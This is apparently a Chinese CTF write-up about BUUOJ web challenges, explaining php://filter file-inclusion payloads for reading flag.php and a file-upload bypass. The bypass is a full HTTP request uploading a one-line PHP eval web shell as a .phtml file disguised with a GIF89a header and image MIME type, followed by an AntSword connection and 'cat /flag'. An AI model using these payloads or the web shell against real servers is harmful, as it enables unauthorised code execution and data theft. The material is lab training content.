WEB-文件包含、文件读取、文件上传

本文探讨了PHP伪协议如php://input和php://filter在处理POST数据和数据流转换中的应用,强调了它们在内存效率和过滤绕过上的优势。同时,介绍了文件上传漏洞利用技巧,包括如何通过修改POST请求头来绕过后缀和类型过滤,以及利用蚁剑进行远程连接和文件内容获取。重点关注了绕过策略和上传后文件的定位与访问。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、利用php伪协议

php://input

php://input可以读取没有处理过的POST数据。相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置。php://input不能用于enctype=multipart/form-data。

php://filter协议

协议语法:

php://filter:/=

php://filter 的 参数列表

read        读取

write        写入

resource    数据来源(必须的)

read的参数

string.strip_tags                 将数据流中的所有html标签清除

string.toupper                    将数据流中的内容转换为大写

string.tolower                     将数据流中的内容转换为小写

convert.base64-encode     将数据流中的内容转换为base64编码

convert.base64-decode     与上面对应解码

具体利用比如:

?file=php://filter/read=convert.base64-encode/resource=flag.php

如果有大小写或者base过滤可以

?file=php://filter/read=string.toupper|string.rot13/resource=flag.php

然后再将rot13进行解码就可以了

二、文件上传

POST / HTTP/1.1
Host: 093b17fc-3c14-45c3-9b38-c656d0c50f18.node4.buuoj.cn:81
Content-Length: 351
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://093b17fc-3c14-45c3-9b38-c656d0c50f18.node4.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJ0UA1LfRh3bm2lcU
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://093b17fc-3c14-45c3-9b38-c656d0c50f18.node4.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryJ0UA1LfRh3bm2lcU
Content-Disposition: form-data; name="upload_file"; filename="1.phtml"
Content-Type: image/png

GIF89a
<script language="php">eval($_POST['shell']);</script> 

------WebKitFormBoundaryJ0UA1LfRh3bm2lcU
Content-Disposition: form-data; name="submit"

upload
------WebKitFormBoundaryJ0UA1LfRh3bm2lcU--

注意用Burp抓包,在成功上传文件的前提下,查看POST请求头文件,进行修改。要修改的是上传的文件名字,注意后缀为.php、.php1、php2、php3、phtml等过滤,同时还要修改Type为图片后缀imgae、png进行绕过。

区分是前端JS进行过滤还是后端过滤,如果是前端过滤用Burp进行绕过,后端过滤要修改请求头,phtml就是支持php的html文件。

绕过上传上去之后可能要猜测一下文件存放的路径,然后再用蚁剑来进行连接比如:

URL地址:​​​​​http://093b17fc-3c14-45c3-9b38-c656d0c50f18.node4.buuoj.cn/uplo4d/b284530b9d2636c66a4e6f32315ccac3.phtml​​​​​​​​​​​​​​

密码:为上传的一句话木马eval($_POST['shell']);中的shell。

连接上去之后 使用虚拟中断,输入cat /flag 查找显示对应的flag文件中的内容,如果没有flag文件可能需要自己手动查找在哪个位置。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值